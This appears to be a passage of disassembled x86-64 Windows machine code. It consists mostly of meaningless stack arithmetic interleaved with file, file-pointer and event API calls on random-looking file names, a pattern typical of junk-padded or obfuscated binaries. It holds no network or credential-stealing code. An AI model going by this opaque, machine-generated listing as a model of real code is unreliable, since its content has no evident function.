mov eax, dword [rax]
add eax, dword [rsp + 0xce8]
mov dword [rsp + 0xe2c], eax
movsx eax, byte [rsp + 0xea]
mov rcx, qword [rsp + 0x2ec8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x133], al
movzx eax, byte [rsp + reloc.SHELL32.dll_SHGetImageList]
movzx ecx, byte [rsp + 0x16d]
sub eax, ecx
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0xd40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xad8]
sar eax, cl
mov rcx, qword [rsp + 0x14c0]
mov dword [rcx], eax
lea rax, [0x1400fd1dc]
mov qword [0x1400fd618], rax
lea rax, [rsp + 0x36c]
mov qword [rsp + 0x2c90], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x36f
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rax, qword [rsp + 0x14c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaf4], ax
mov rcx, qword [rsp + 0x2508]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x16f0]
mov rcx, qword [0x1400fd540]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa18], rax
mov eax, dword [rsp + 0x348]
mov dword [rsp + 0xcc0], eax
mov rax, qword [rsp + 0x1af8]
mov rcx, qword [rsp + 0x1960]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1448], rax
lea rax, [rsp + 0x92]
mov qword [rsp + 0x3d30], rax
mov rax, qword [rsp + 0x1010]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4b8]
shl eax, cl
mov rcx, qword [rsp + 0x1328]
mov word [rcx], ax
mov rax, qword [rsp + 0x19b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x878]
xor eax, ecx
mov word [rsp + 0x384], ax
mov rax, qword [rsp + 0x3948]
movzx ecx, al
mov rax, qword [rsp + 0x3000]
sar rax, cl
mov qword [0x1400fc3a8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x847e
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2810], eax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1318]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xae4], ax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb38]
add rax, qword [rcx]
mov qword [rsp + 0x1cc8], rax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov qword [rsp + 0x2aa8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x24a2
mov rcx, qword [rsp + 0x2f80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5490], rax
mov rax, qword [rsp + 0x12a0]
mov rcx, qword [rsp + 0x1078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2870]
mov qword [rcx], rax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
add eax, dword [rsp + 0x138c]
mov rcx, qword [rsp + 0x1450]
mov dword [rcx], eax
lea rax, [rsp + 0xad4]
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16c], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5cf
mov rcx, qword [rsp + 0x2648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
lea rax, [rsp + 0x22c]
mov qword [rsp + 0x2bf0], rax
movsx eax, word [rsp + 0x38c]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd278]
mov word [rcx], ax
mov rax, qword [rsp + 0xff8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
sar eax, cl
mov word [rsp + 0x290], ax
mov rax, qword [0x1400fd338]
movzx eax, word [rax]
mov word [rsp + 0xbf4], ax
movzx eax, word [rsp + 0x198]
movzx ecx, word [rsp + 0x8c]
sub eax, ecx
mov rcx, qword [rsp + 0x1f90]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1c6]
mov rcx, qword [rsp + 0x2bf0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3ed], al
mov rax, qword [0x1400fd5c0]
mov rcx, qword [rsp + 0x1c80]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2eb0], rax
mov eax, dword [rsp + 0x1aac]
movzx ecx, al
mov eax, dword [rsp + 0x684]
shl eax, cl
mov dword [rsp + 0xbb4], eax
mov rcx, qword [rsp + 0x2e00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1664], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Oe60VROzcDu4oIyxHQ7w7PY8c4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3ec8], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x1488], rax
movzx eax, word [rsp + 0x14c]
movzx ecx, word [rsp + 0x4b4]
xor eax, ecx
mov word [rsp + 0x458], ax
mov rcx, qword [rsp + 0x1ed8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x4302
mov rcx, qword [rsp + 0x2ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0x1f0]
mov qword [0x1400fd620], rax
mov rcx, qword [rsp + 0x2450]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x34e0], eax
mov rax, qword [rsp + 0x2c58]
mov rax, qword [rax]
mov rcx, qword [0x1400fd180]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x1da0]
mov qword [rcx], rax
lea rax, [rsp + 0x1f70]
mov qword [rsp + 0x1bd0], rax
mov rax, qword [rsp + 0x1bf8]
movzx ecx, al
mov rax, qword [rsp + 0x2ec0]
sar rax, cl
mov qword [rsp + 0x328], rax
movzx eax, word [rsp + 0x59c]
mov word [rsp + 0xbe8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4901
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov rax, qword [rsp + 0x1758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2408]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x24f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1e48]
mov dword [rcx], eax
lea rax, [rsp + 0x2578]
mov qword [rsp + 0x30e0], rax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.3j4zIBfOjtltFXpLVv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x37c8], rax
mov rax, qword [rsp + 0x3090]
mov rcx, qword [rsp + 0x1db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1670], eax
lea rax, [rsp + 0x158]
mov qword [0x1400fd628], rax
lea rax, [rsp + 0x594]
mov qword [rsp + 0x3248], rax
mov rcx, qword [rsp + 0x3158]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x34ec], eax
movsx eax, word [0x1400fc3b0]
movsx ecx, word [rsp + 0x8cc]
and eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
lea rax, [rsp + 0x878]
mov qword [rsp + 0x23e8], rax
mov rax, qword [rsp + 0x2240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d8]
add rax, qword [rcx]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [0x1400fc49c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [rsp + 0x12e0]
mov qword [rsp + 0x4928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4928]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3a68], rax
mov rax, qword [rsp + 0x1b70]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd628]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2490]
mov byte [rcx], al
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x3728], rax
movzx eax, word [rsp + 0x24c]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1400fd288]
mov word [rcx], ax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x1f80]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
mov rax, qword [rsp + 0x17c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1538]
mov word [rcx], ax
lea rax, [rsp + 0x20c]
mov qword [rsp + 0x2b80], rax
mov rax, qword [rsp + 0x1758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3fe], al
mov eax, dword [rsp + 0x11b0]
mov dword [rsp + 0x13dc], eax
mov rax, qword [rsp + 0x1018]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1a8]
shr rax, cl
mov qword [rsp + 0xd18], rax
mov rax, qword [0x1400fd4c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3f7]
add eax, ecx
mov rcx, qword [rsp + 0x1950]
mov byte [rcx], al
lea rax, [rsp + 0x410]
mov qword [rsp + 0x2f88], rax
movzx eax, word [rsp + 0x3b8]
movzx ecx, word [rsp + 0x5d4]
sub eax, ecx
mov rcx, qword [0x1400fd5c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xfa8]
mov rcx, qword [rsp + 0x1140]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1d30], rax
lea rax, [rsp + 0x1140]
mov qword [rsp + 0x25e0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2636
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x18b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6b0], ax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5bc]
and eax, ecx
mov rcx, qword [rsp + 0x16b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0xe51], al
mov rax, qword [rsp + 0x3940]
mov rcx, qword [rsp + 0x14f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf98], rax
lea rax, [rsp + 0xb90]
mov qword [rsp + 0x28d8], rax
mov rax, qword [rsp + 0x22b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2850]
sar rax, cl
mov qword [rsp + 0xd30], rax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbf2f
mov rcx, qword [rsp + 0x31a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x166c], eax
lea rax, [rsp + 0x4ec]
mov qword [0x1400fd630], rax
movzx eax, word [0x1400fd1e0]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xec4], ax
mov eax, dword [rsp + 0xa04]
mov ecx, dword [rsp + 0xad4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc4], eax
mov rcx, qword [rsp + 0x4930]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27d4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf17f
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
movzx eax, byte [rsp + reloc.SHELL32.dll_SHGetImageList]
movzx ecx, byte [rsp + 0x172]
shl eax, cl
mov rcx, qword [rsp + 0xd20]
mov byte [rcx], al
lea rax, [rsp + 0x1928]
mov qword [rsp + 0x1c48], rax
mov rax, qword [rsp + 0xf30]
mov rcx, qword [rsp + 0x1fc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x14b8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3900]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a38], eax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x3a90], rax
mov rax, qword [rsp + 0x3050]
mov eax, dword [rax]
add eax, dword [rsp + 0xcc8]
mov rcx, qword [rsp + 0x3100]
mov dword [rcx], eax
movsx eax, word [rsp + 0x23c]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5f0], ax
movzx eax, word [rsp + 0x428]
mov rcx, qword [rsp + 0xd10]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd2a8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.2TSlxtoEkUvxO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3e60], rax
mov rax, qword [rsp + 0x3000]
mov qword [rsp + 0x3d98], rax
movzx eax, word [rsp + 0x374]
movzx ecx, word [rsp + 0x6f4]
sar eax, cl
mov word [rsp + 0x26c], ax
mov rax, qword [rsp + 0x2f88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1550]
and eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x1d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1350]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1e70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1410]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1938]
mov byte [rcx], al
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov qword [rsp + 0x3ff0], rax
mov rax, qword [rsp + 0x988]
mov ecx, dword [rsp + 0xe2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x198c], eax
lea rax, [rsp + 0x318]
mov qword [rsp + 0x1f00], rax
mov rax, qword [rsp + 0x1540]
mov rcx, qword [0x1400fd2e8]
add rcx, rax
mov rax, rcx
mov qword [0x1400fc4c0], rax
mov rax, qword [rsp + 0x2270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1cd0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x9c8]
mov eax, dword [rax]
mov dword [rsp + 0x2110], eax
mov rax, qword [0x1400fd4b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a00]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x1178]
mov word [rcx], ax
movzx eax, word [rsp + 0x300]
mov rcx, qword [rsp + 0x14f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d8], ax
movsx eax, byte [rsp + 0x1c6]
mov rcx, qword [rsp + 0x2cb0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x405], al
mov eax, dword [rsp + 0x9a4]
mov ecx, dword [rsp + 0x7a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a28]
mov qword [rsp + 0x2ad8], rax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0xc10]
sub eax, ecx
mov rcx, qword [rsp + 0x3d90]
mov word [rcx], ax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
mov word [0x1400fd638], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3bb6
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c58]
add rax, qword [rcx]
mov qword [rsp + 0x18f0], rax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x2bc8], rax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2960]
sar rax, cl
mov qword [rsp + 0x1a28], rax
mov rax, qword [rsp + 0x1458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2238], ax
mov rax, qword [0x1400fd5c0]
mov rcx, qword [rsp + 0x11c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2600], rax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x228], al
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0x3e08], rax
mov rax, qword [rsp + 0x1520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x1c28]
mov eax, dword [rax]
mov dword [rsp + 0x20fc], eax
mov rax, qword [rsp + 0x28a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1958]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fc4a0], ax
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xdd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x300]
shl eax, cl
mov word [rsp + 0x850], ax
mov rax, qword [0x1400fd4c0]
mov rax, qword [rax]
mov qword [rsp + 0x2fa0], rax
mov rax, qword [rsp + 0x28d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xca8]
mov qword [rsp + 0x4938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4938]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x694], eax
lea rax, [rsp + 0x2330]
mov qword [rsp + 0x2250], rax
mov rax, qword [rsp + 0x2ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ba]
sub eax, ecx
mov byte [rsp + 0x578], al
movsx eax, word [rsp + 0x55c]
mov rcx, qword [rsp + 0x1280]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe64], ax
mov rcx, qword [rsp + 0x3a70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc88]
movzx eax, word [rax]
mov rcx, qword [0x1400fd410]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1808]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fc4c8], rax
mov rax, qword [rsp + 0x1358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
sar eax, cl
mov word [rsp + 0x44c], ax
mov rax, qword [0x1400fd438]
mov rax, qword [rax]
mov qword [rsp + 0x1d28], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.gNjUsHgSAg2bv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2bb0], rax
mov rax, qword [rsp + 0x23a8]
mov rax, qword [rax]
add rax, qword [rsp + 0x2aa8]
mov qword [rsp + 0x3d98], rax
lea rax, [rsp + 0xe04]
mov qword [rsp + 0x31b8], rax
mov rcx, qword [rsp + 0x3158]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x13b]
movsx ecx, byte [0x1400fd134]
and eax, ecx
mov rcx, qword [rsp + 0x1200]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x19c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x350c
mov rcx, qword [rsp + 0x2470]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4048], rax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x1dc0], rax
mov rax, qword [0x1400fd148]
mov rcx, qword [rsp + 0x1078]
mov qword [rsp + 0x4940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4940]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x470]
mov qword [rcx], rax
mov eax, 0x38
imul rax, rax, 1
mov dword [rsp + rax + 0x5b60], 0x362f6550
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf343
mov rcx, qword [rsp + 0x4948]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0x38c]
or eax, ecx
mov word [0x1400fd47c], ax
movsx eax, word [rsp + 0x5a4]
mov rcx, qword [rsp + 0x14e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x157c], ax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x318]
sar eax, cl
mov rcx, qword [rsp + 0x2c90]
mov word [rcx], ax
movzx eax, word [rsp + 0x710]
movzx ecx, word [rsp + 0x5b0]
add eax, ecx
mov word [rsp + 0x12c], ax
mov rax, qword [0x1400fd4c8]
movzx eax, byte [rax]
mov byte [rsp + 0x604], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2868], rax
mov rax, qword [0x1400fd510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
sub eax, ecx
mov word [rsp + 0x1a0], ax
movzx eax, word [rsp + 0x600]
movzx ecx, word [rsp + 0x718]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x950]
movzx ecx, al
mov rax, qword [rsp + 0x3240]
sar rax, cl
mov qword [0x1400fd4b0], rax
mov rax, qword [rsp + 0xa30]
mov rax, qword [rax]
mov qword [rsp + 0x3a00], rax
mov rax, qword [rsp + 0x1460]
mov rcx, qword [rsp + 0x14e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10b8], rax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x11b8], eax
lea rax, [rsp + 0x1830]
mov qword [rsp + 0x2ba8], rax
movzx eax, word [rsp + 0x48c]
mov rcx, qword [rsp + 0x16a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc88]
mov word [rcx], ax
lea rax, [rsp + 0x172]
mov qword [rsp + 0x1b08], rax
mov rax, qword [rsp + 0x948]
mov rcx, qword [rsp + 0x1ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd0], eax
mov rax, qword [rsp + 0x1c00]
mov rcx, qword [rsp + 0x18c8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xf30]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.v6URK9qiN1uEq0S0tqlD5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3e20], rax
mov eax, dword [rsp + 0x1974]
mov dword [rsp + 0x1384], eax
mov rcx, qword [rsp + 0x3d78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0xe6]
mov byte [0x1400fd135], al
mov rax, qword [0x1400fd448]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x38c]
or eax, ecx
mov rcx, qword [rsp + 0x1a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x159c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcb63
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
mov rax, qword [rsp + 0x2ef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x374], ax
mov rax, qword [rsp + 0x1250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d78]
mov qword [rsp + 0x4950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4950]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x328], rax
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x3f00], rax
mov rax, qword [rsp + 0xd60]
mov eax, dword [rax]
add eax, dword [rsp + 0x1108]
mov rcx, qword [rsp + 0x2988]
mov dword [rcx], eax
lea rax, [rsp + 0x838]
mov qword [rsp + 0x2d48], rax
movsx eax, word [rsp + 0x3b4]
mov rcx, qword [rsp + 0x1ef8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5a8], ax
mov rax, qword [0x1400fd270]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd590], ax
mov rax, qword [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x1d98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1e58], rax
lea rax, [rsp + 0x704]
mov qword [rsp + 0x2c28], rax
movzx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0xd98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3480], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe4d0
mov rcx, qword [rsp + 0x37c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x166c], eax
mov rcx, qword [rsp + 0x4958]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1668], eax
mov eax, dword [rsp + 0xa04]
mov dword [rsp + 0x2744], eax
mov rax, qword [rsp + 0x36c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa0]
shr eax, cl
mov dword [rsp + 0x198c], eax
lea rax, [rsp + 0x17c8]
mov qword [rsp + 0x4ae0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.nwUPfHvjb_fLS9UPLed9Kv3BEeCYE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3708], rax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x3fa]
mov rcx, qword [rsp + 0x1fe0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf9], al
movsx eax, word [rsp + 0x5e0]
movsx ecx, word [rsp + 0x30c]
shl eax, cl
mov rcx, qword [rsp + 0x1420]
mov word [rcx], ax
mov rax, qword [0x1400fd468]
movzx eax, word [rax]
mov word [0x1400fd63c], ax
mov rax, qword [rsp + 0x1718]
mov rcx, qword [rsp + 0x2430]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x17f8], rax
mov rax, qword [rsp + 0x980]
